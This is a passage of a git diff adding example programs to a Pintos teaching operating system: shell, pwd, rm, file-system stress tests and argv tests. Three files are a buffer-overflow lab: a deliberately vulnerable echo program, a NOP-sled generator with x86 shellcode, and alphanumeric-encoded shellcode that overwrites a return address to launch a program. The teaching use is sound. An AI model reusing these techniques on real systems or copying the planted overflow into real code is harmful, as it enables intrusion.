+#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + if (argc != 2) + { + printf ("usage: %s DIRECTORY\n", argv[0]); + return EXIT_FAILURE; + } + + if (!mkdir (argv[1])) + { + printf ("%s: mkdir failed\n", argv[1]); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} diff --git a/src/examples/noopsled.c b/src/examples/noopsled.c new file mode 100644 index 0000000..d091d5d --- /dev/null +++ b/src/examples/noopsled.c @@ -0,0 +1,44 @@ +/* klaar@ida + + Program to generate a noop sled with accompanying shellcode and a + good guess as of where all of this data ends up when a buffer + overflow is exploited in pintos. + + This program runs outside pintos. Pipe the output to a pintos + program with faulty buffer handling to exploit a buffer overflow. + + gcc noopsled.c -o noopsled + */ + +#include <stdio.h> + +char shellcode[] = + "\x90\x90\x90\x90\x90\xe9\x0b\x00" + "\x00\x00\x6a\x02\xcd\x30\x31\xc0" + "\x50\x40\x50\xcd\x30\xe8\xf0\xff" + "\xff\xff""crack"; + +char x86_nop = '\x90'; + +unsigned guess = 0xc0000000 - 2000 - 300; + +int main() //int argc, char* argv[]) +{ + int i; + + for (i = 0; i < 128; ++i) + printf("%c", x86_nop); + + for (i = 0; i < 32; ++i) + printf("%c", shellcode[i]); + + for (i = 0; i < (128-32)/4; ++i) + { + char* g = (char*)&guess; + printf("%c", g[3]); + printf("%c", g[2]); + printf("%c", g[1]); + printf("%c", g[0]); + } + printf("\n\n"); +} diff --git a/src/examples/overflow.c b/src/examples/overflow.c new file mode 100644 index 0000000..4673d32 --- /dev/null +++ b/src/examples/overflow.c @@ -0,0 +1,88 @@ +/* klaar@ida + + noopsled | pintos --fs-disk=2 -v -k -p ../examples/overflow -a overflow -p ../examples/crack -a crack -- -f -q run overflow + + This program is possible to crack with carefully crafted input. + It examplifies the danger of buffer overflow. +*/ + +#include <syscall.h> +#include <stdio.h> +#include <string.h> + +static void stringcopy(char* dst, const char* src) +{ + while (*src) + *dst++ = *src++; + *dst = '\0'; +} + +int main(void); + +/* A messy not very good buffer overflow example. A little bit too + * contrieved. */ +static int getline (char* destination) +{ + char line[200]; + int i = 0; + char* dst = destination; + +//#define DEBUG_CODE +#ifdef DEBUG_CODE + int r, c; + unsigned* ret = (unsigned*)(&dst - 1); + + printf ("Return address address: 0x%08x\n", (unsigned)&ret); + printf ("Return address content: 0x%08x\n", *ret); + printf ("Main function address : 0x%08x\n", (unsigned)main); + printf ("Line buffer address : 0x%08x\n", (unsigned)line); +#endif + + do /* !!! Buffer overflow when i >= 200 !!! */ + { + if ( read (STDIN_FILENO, &line[i], 1) != 1) + break; /* failed to read requested number of characters */ + } + while ( line[i++] != '\n' ); + + line[i-1] = '\0'; + +#ifdef DEBUG_CODE + /* hex dump of read data */ + for (r = 0; r < 16; ++r) + { + printf ("0x%08x: ", (unsigned)&line[ 16*r ]); + for (c = 0; c < 16; ++c) + { + int code = line[ 16*r + c ] & 0xff; + printf("\\x%02x", code); + } + printf("\n"); + } + + printf ("Return address content: 0x%08x\n", *ret); +#endif + + stringcopy(dst, line); + + return ( strlen(line) > 1 ); +} + +/* Stupid program to echo every line you write to screen. And to make + * matter worse, getline have a serious buffer overflow. */ +int main (void) +{ + char msg[2000]; + char quote = '"'; + char endl = '\n'; + + while ( getline (msg) ) + { + write (STDOUT_FILENO, "e, 1); + write (STDOUT_FILENO, msg, strlen(msg)); + write (STDOUT_FILENO, "e, 1); + write (STDOUT_FILENO, &endl, 1); + } + + return 0; +} diff --git a/src/examples/parent.c b/src/examples/parent.c new file mode 100644 index 0000000..df0e8f7 --- /dev/null +++ b/src/examples/parent.c @@ -0,0 +1,52 @@ +/* klaar@ida + + pintos -v -k --fs-disk=2 --qemu -p ../examples/parent -a parent -p ../examples/child -a child -- -f -q run parent | grep PASS > result.txt + grep -c 'Lab 0' result.txt + grep -c 'Lab 1' result.txt + grep -c 'Lab 2' result.txt + grep -c 'Lab 3' result.txt + + A test program that calls itself recursively. In the last step of + the recursion child.c is started. Do not use with large values for + CHILDREN or DEPTH. + + Shall produce 64 PASS messages, 16 of each, when CHILDREN=4 and DEPTH=3 + + CHILDREN^DEPTH=count(PASS) (4^3=64) +*/ +#include <syscall.h> +#include <stdlib.h> +#include <stdio.h> + +#define CHILDREN 4 +#define DEPTH 3 + +int main(int argc, char* argv[]) +{ + int i; + int pid[CHILDREN]; + int depth = DEPTH - 1; + char cmd[10]; + + if (argc == 2) + depth = atoi(argv[1]) - 1; + + for(i = 0; i < CHILDREN; i++) + { + if (depth) + snprintf(cmd, 10, "parent %i", depth); + else + snprintf(cmd, 10, "child %i", i); + + printf("%s\n", cmd); + pid[i] = exec(cmd); + } +// if (depth <= 1) + { + for(i = 0; i < CHILDREN; i++) + { + wait(pid[i]); + } + } + exit(0); +} diff --git a/src/examples/pfs.c b/src/examples/pfs.c new file mode 100644 index 0000000..a633e24 --- /dev/null +++ b/src/examples/pfs.c @@ -0,0 +1,32 @@ +/* klaar@ida (cleanup of previous code by various IDA-employees) + + pintos -v -k -T 120 --fs-disk=2 --qemu -p ../examples/pfs -a pfs -p ../examples/pfs_writer -a pfs_writer -p ../examples/pfs_reader -a pfs_reader -g messages -- -f -q run pfs + + Tests that read and write are properly synchronized. Also stresses + the filesystem somewhat. + + pfs_reader and pfs_writer are needed child processes. +*/ + +#include "syscall.h" + +int main(void) +{ + int i; + int pid[5]; + + create("file.1", 50000); + create("messages", 5000); + + pid[0] = exec("pfs_writer a z"); + pid[1] = exec("pfs_writer A Z"); + pid[2] = exec("pfs_reader"); + pid[3] = exec("pfs_reader"); + pid[4] = exec("pfs_reader"); + + for (i = 0; i < 5; i++) + { + wait(pid[i]); + } + exit(0); +} diff --git a/src/examples/pfs.h b/src/examples/pfs.h new file mode 100644 index 0000000..2ba7fce --- /dev/null +++ b/src/examples/pfs.h @@ -0,0 +1,2 @@ +#define BIG 3000 +#define TIMES 500 diff --git a/src/examples/pfs_reader.c b/src/examples/pfs_reader.c new file mode 100644 index 0000000..4f2d0fa --- /dev/null +++ b/src/examples/pfs_reader.c @@ -0,0 +1,50 @@ +/* Part of pfs.c suite. + + Reads from the file and checks consistency. + The buffer should all contain the same character!! + */ + +#include <syscall.h> +#include <stdio.h> +#include "pfs.h" + +char buffer[BIG]; + +int main(void) +{ + int bytes, i, j, inconsistency; + int id, messages; + + messages = open("messages"); + + for (i = 0; i < TIMES; ++i) + { + id = open("file.1"); + bytes = read(id, buffer, BIG); + close(id); + + if (bytes != BIG) + { + write(messages, "Buffer not filled!\n", 19); + continue; + } + /* now check for consistency */ + for (j = 1, inconsistency = 0; j < BIG; ++j) + { + if (buffer[0] != buffer[j]) + { + /* Ooops, inconsistency */ + write(messages, "INCONSISTENCY.", 14); + printf("INCONSISTENCY\n"); + inconsistency = 1; + break; /* no need to check further */ + } + } + if (!inconsistency) + { + write(messages, "cool\n", 5); + } + } + close(messages); + exit(0); +} diff --git a/src/examples/pfs_writer.c b/src/examples/pfs_writer.c new file mode 100644 index 0000000..b17969f --- /dev/null +++ b/src/examples/pfs_writer.c @@ -0,0 +1,48 @@ +/* Part of pfs.c suite. + + Write on the disk. Each time the buffer is filled with same + character. Different character every time! + */ + +#include <syscall.h> +#include <stdio.h> +#include <string.h> +#include "pfs.h" + +char buffer[BIG]; + +int main(int argc, char* argv[]) +{ + int i,j; + char c; + int id; + int write_count; + char start; + char end; + + if (argc != 3 || strlen(argv[1]) != 1 || strlen(argv[2]) != 1) + exit(1); + + start = argv[1][0]; + end = argv[2][0]; + + for (i = 0; i < TIMES / (end - start + 1) + 1; ++i) + { + for (c = start; c <= end; ++c) + { + for (j = 0; j < BIG; j++) + buffer[j] = c; + + id = open("file.1"); + write_count = write(id, buffer, BIG); + + if ( write_count != BIG ) + { + printf("TEST ERROR: write() wrote only %d bytes out of %d bytes\n", + write_count, BIG); + } + close(id); + } + } + exit(0); +} diff --git a/src/examples/pwd.c b/src/examples/pwd.c new file mode 100644 index 0000000..d2305cf --- /dev/null +++ b/src/examples/pwd.c @@ -0,0 +1,152 @@ +/* pwd.c + + Prints the absolute name of the present working directory. */ + +#include <syscall.h> +#include <stdbool.h> +#include <stdio.h> +#include <string.h> + +static bool getcwd (char *cwd, size_t cwd_size); + +int +main (void) +{ + char cwd[128]; + if (getcwd (cwd, sizeof cwd)) + { + printf ("%s\n", cwd); + return EXIT_SUCCESS; + } + else + { + printf ("error\n"); + return EXIT_FAILURE; + } +} + +/* Stores the inode number for FILE_NAME in *INUM. + Returns true if successful, false if the file could not be + opened. */ +static bool +get_inumber (const char *file_name, int *inum) +{ + int fd = open (file_name); + if (fd >= 0) + { + *inum = inumber (fd); + close (fd); + return true; + } + else + return false; +} + +/* Prepends PREFIX to the characters stored in the final *DST_LEN + bytes of the DST_SIZE-byte buffer that starts at DST. + Returns true if successful, false if adding that many + characters, plus a null terminator, would overflow the buffer. + (No null terminator is actually added or depended upon, but + its space is accounted for.) */ +static bool +prepend (const char *prefix, + char *dst, size_t *dst_len, size_t dst_size) +{ + size_t prefix_len = strlen (prefix); + if (prefix_len + *dst_len + 1 <= dst_size) + { + *dst_len += prefix_len; + memcpy ((dst + dst_size) - *dst_len, prefix, prefix_len); + return true; + } + else + return false; +} + +/* Stores the current working directory, as a null-terminated + string, in the CWD_SIZE bytes in CWD. + Returns true if successful, false on error. Errors include + system errors, directory trees deeper than MAX_LEVEL levels, + and insufficient space in CWD. */ +static bool +getcwd (char *cwd, size_t cwd_size) +{ + size_t cwd_len = 0; + +#define MAX_LEVEL 20 + char name[MAX_LEVEL * 3 + 1 + READDIR_MAX_LEN + 1]; + char *namep; + + int child_inum; + + /* Make sure there's enough space for at least "/". */ + if (cwd_size < 2) + return false; + + /* Get inumber for current directory. */ + if (!get_inumber (".", &child_inum)) + return false; + + namep = name; + for (;;) + { + int parent_inum, parent_fd; + + /* Compose "../../../..", etc., in NAME. */ + if ((namep - name) > MAX_LEVEL * 3) + return false; + *namep++ = '.'; + *namep++ = '.'; + *namep = '\0'; + + /* Open directory. */ + parent_fd = open (name); + if (parent_fd < 0) + return false; + *namep++ = '/'; + + /* If parent and child have the same inumber, + then we've arrived at the root. */ + parent_inum = inumber (parent_fd); + if (parent_inum == child_inum) + break; + + /* Find name of file in parent directory with the child's + inumber. */ + for (;;) + { + int test_inum; + if (!readdir (parent_fd, namep) || !get_inumber (name, &test_inum)) + { + close (parent_fd); + return false; + } + if (test_inum == child_inum) + break; + } + close (parent_fd); + + /* Prepend "/name" to CWD. */ + if (!prepend (namep - 1, cwd, &cwd_len, cwd_size)) + return false; + + /* Move up. */ + child_inum = parent_inum; + } + + /* Finalize CWD. */ + if (cwd_len > 0) + { + /* Move the string to the beginning of CWD, + and null-terminate it. */ + memmove (cwd, (cwd + cwd_size) - cwd_len, cwd_len); + cwd[cwd_len] = '\0'; + } + else + { + /* Special case for the root. */ + strlcpy (cwd, "/", cwd_size); + } + + return true; +} diff --git a/src/examples/recursor.c b/src/examples/recursor.c new file mode 100644 index 0000000..79c784a --- /dev/null +++ b/src/examples/recursor.c @@ -0,0 +1,34 @@ +#include <stdio.h> +#include <stdlib.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + char buffer[128]; + pid_t pid; + int retval = 0; + + if (argc != 4) + { + printf ("usage: recursor <string> <depth> <waitp>\n"); + exit (1); + } + + /* Print args. */ + printf ("%s %s %s %s\n", argv[0], argv[1], argv[2], argv[3]); + + /* Execute child and wait for it to finish if requested. */ + if (atoi (argv[2]) != 0) + { + snprintf (buffer, sizeof buffer, + "recursor %s %d %s", argv[1], atoi (argv[2]) - 1, argv[3]); + pid = exec (buffer); + if (atoi (argv[3])) + retval = wait (pid); + } + + /* Done. */ + printf ("%s %s: dying, retval=%d\n", argv[1], argv[2], retval); + exit (retval); +} diff --git a/src/examples/rm.c b/src/examples/rm.c new file mode 100644 index 0000000..0db7f7b --- /dev/null +++ b/src/examples/rm.c @@ -0,0 +1,21 @@ +/* rm.c + + Removes files specified on command line. */ + +#include <stdio.h> +#include <syscall.h> + +int +main (int argc, char *argv[]) +{ + bool success = true; + int i; + + for (i = 1; i < argc; i++) + if (!remove (argv[i])) + { + printf ("%s: remove failed\n", argv[i]); + success = false; + } + return success ? EXIT_SUCCESS : EXIT_FAILURE; +} diff --git a/src/examples/shell.c b/src/examples/shell.c new file mode 100644 index 0000000..93641b4 --- /dev/null +++ b/src/examples/shell.c @@ -0,0 +1,104 @@ +#include <stdbool.h> +#include <stdio.h> +#include <string.h> +#include <syscall.h> + +static void read_line (char line[], size_t); +static bool backspace (char **pos, char line[]); + +int +main (void) +{ + printf ("Shell starting...\n"); + for (;;) + { + char command[80]; + + /* Read command. */ + printf ("--"); + read_line (command, sizeof command); + + /* Execute command. */ + if (!strcmp (command, "exit")) + break; + else if (!memcmp (command, "cd ", 3)) + { + if (!chdir (command + 3)) + printf ("\"%s\": chdir failed\n", command + 3); + } + else if (command[0] == '\0') + { + /* Empty command. */ + } + else + { + pid_t pid = exec (command); + if (pid != PID_ERROR) + printf ("\"%s\": exit code %d\n", command, wait (pid)); + else + printf ("exec failed\n"); + } + } + + printf ("Shell exiting."); + return EXIT_SUCCESS; +} + +/* Reads a line of input from the user into LINE, which has room + for SIZE bytes. Handles backspace and Ctrl+U in the ways + expected by Unix users. On return, LINE will always be + null-terminated and will not end in a new-line character. */ +static void +read_line (char line[], size_t size) +{ + char *pos = line; + for (;;) + { + char c; + read (STDIN_FILENO, &c, 1); + + switch (c) + { + case '\r': + *pos = '\0'; + putchar ('\n'); + return; + + case '\b': + backspace (&pos, line); + break; + + case ('U' - 'A') + 1: /* Ctrl+U. */ + while (backspace (&pos, line)) + continue; + break; + + default: + /* Add character to line. */ + if (pos < line + size - 1) + { + putchar (c); + *pos++ = c; + } + break; + } + } +} + +/* If *POS is past the beginning of LINE, backs up one character + position. Returns true if successful, false if nothing was + done. */ +static bool +backspace (char **pos, char line[]) +{ + if (*pos > line) + { + /* Back up cursor, overwrite character, back up + again. */ + printf ("\b \b"); + (*pos)--; + return true; + } + else + return false; +} diff --git a/src/examples/shellcode.c b/src/examples/shellcode.c new file mode 100644 index 0000000..63e3fe9 --- /dev/null +++ b/src/examples/shellcode.c @@ -0,0 +1,81 @@ +/* klaar@ida + + pintos -v --fs-disk=2 -p ../examples/crack -a crack -p ../examples/shellcode -a shellcode -- -f -q run 'shellcode' + + -*- Woahhh, have fun -*- + http://www.phrack.org/issues.html?issue=49&id=14#article + http://www.phrack.org/issues.html?issue=57&id=15#article + + Somewhat simpler to achieve in Pintos actually. + */ + +#include <syscall.h> + +#if 0 +/* This it the below assembly code in binary form. It runs. To get it, + * just compile the code below and use the debugger to dump the code + * in the main function. */ +char shellcode[] = + "\x90\x90\x90\x90\x90\xe9\x0b\x00" + "\x00\x00\x6a\x02\xcd\x30\x31\xc0" + "\x50\x40\x50\xcd\x30\xe8\xf0\xff" + "\xff\xff""crack"; +#else +/* And this is rather scary amazing... This is also the below + * assembly code in binary form, but now using ONLY alphanumeric + * characters. It works flawless... Using something like isalpha() on + * input does not prevent crackers to exploit buffer overflows. + */ +char shellcode[] = + "LLLLZh7JWUX57JWUHPSPPSRPPaWPVUUF" + "VDNfhKZfXf5vOfPDRPaAjeY0Lka0Tkah" + "9bdUY1LkbjIY0Lkg0tkhjUX0Dkk0Tkkj" + "8Y0Lkm0tkohEJZuX1Dkq1TkqjHY0Lku0" + "tkuCjqX0Dkzs2bdUjK201jPxP20REZuH" + "crackq"; +#endif + +int main( void ) +{ +#if 1 + int *ret; /* A local variable is stored on the stack. */ + + ret = (int *)&ret + 2; /* Two steps above in the stack is the + * address to continue at when main + * return... the normal function return + * address. */ + (*ret) = (int)shellcode; /* We overwrite it with the address to the + * shell code. This will check that the + * shell code works as expected. */ + return 0; +#else + /* Assembler code to do the following: + * + * exec("crack"); + * exit(); + * + * Apparently the code 0x01 can not be sent as input to pintos, so + * it can not be part of any instruction. Reason unknown. Theory: + * 0x01 may be grabbed as Ctrl-a by QEMU ? + * + * Translate push 0x01 ==> ... push %eax + * + * The tricky part is to figure out at which address the name of the + * program to start is stored. The call instruction solves it + * nicely. It saves the following address as return address. + */ + + __asm__("jmp 0x0f;" /* jump to CALL */ +/* actual address of string pushed as return address by CALL */ + "push $0x2;" /* push EXEC syscall number */ + "int $0x30;" /* make syscall */ + "xor %eax,%eax;" /* load 0 in eax */ + "push %eax;" /* push exit_status */ + "inc %eax;" /* inc eax to 1 */ + "push %eax;" /* push EXIT syscall number */ + "int $0x30;" /* make syscall */ +/* CALL */"call -0x0C;" /* jumps back again */ + ".string \"crack\";" /* program to start */ + ); +#endif +} diff --git a/src/examples/sumargv.c b/src/examples/sumargv.c new file mode 100644 index 0000000..1bd6d14 --- /dev/null +++ b/src/examples/sumargv.c @@ -0,0 +1,54 @@ +/* klaar@ida + + A test program for the stack setup that do not rely on any (they + are not yet implemented!) system calls. + + The intended pintos command line running from userprog is: + + pintos -v -k --fs-disk=2 -p ../examples/sumargv -a sumargv -- -f -q run 'sumargv' + + This invocation shall return 0. To return any other number, invoke + with numbers that sum to that number. 'sumargv 1000 200 4 30 will + result in 1234. + + Note -v (no vga) and -q (poweroff when done) may cause trouble. If + you have problems exiting pintos, pres C-a and then x. If the + program does not seem to work it may be due to -q do poweroff too + fast (process_wait is incorrect). + */ +#include <stdlib.h> + +int +main (int argc, char **argv) +{ + int i; + int sum = 0; + char* argv_me = "sumargv"; + char* p; + + /* If we do not have a valid `argv', exit with error code 111. */ + if (argv == 0) + return 111; + + /* Weighted sum of characters in "sumargv". */ + for (p = argv_me, i = 0; *p; ++p, ++i) + sum += (*p - 'a') * i; + + /* Weighted sum of characters in `argv[0]'. */ + for (p = argv[0], i = 0; *p; ++p, ++i) + sum -= (*p - 'a') * i; + + /* The `sum' should now be zero if the program name `argv[0]' is + * correctly set up. */ + + /* Interpret all remaining command line words as numbers and sum them. */ + for (i = 1; i < argc; i++) + sum += atoi(argv[i]); + + /* If `argv' ends correctly with a null pointer this has no effect. */ + sum += (int)argv[argc]; + + /* The final return value should now be the sum of the numbers + * specified after sumargv on the command line. */ + return sum; +} |
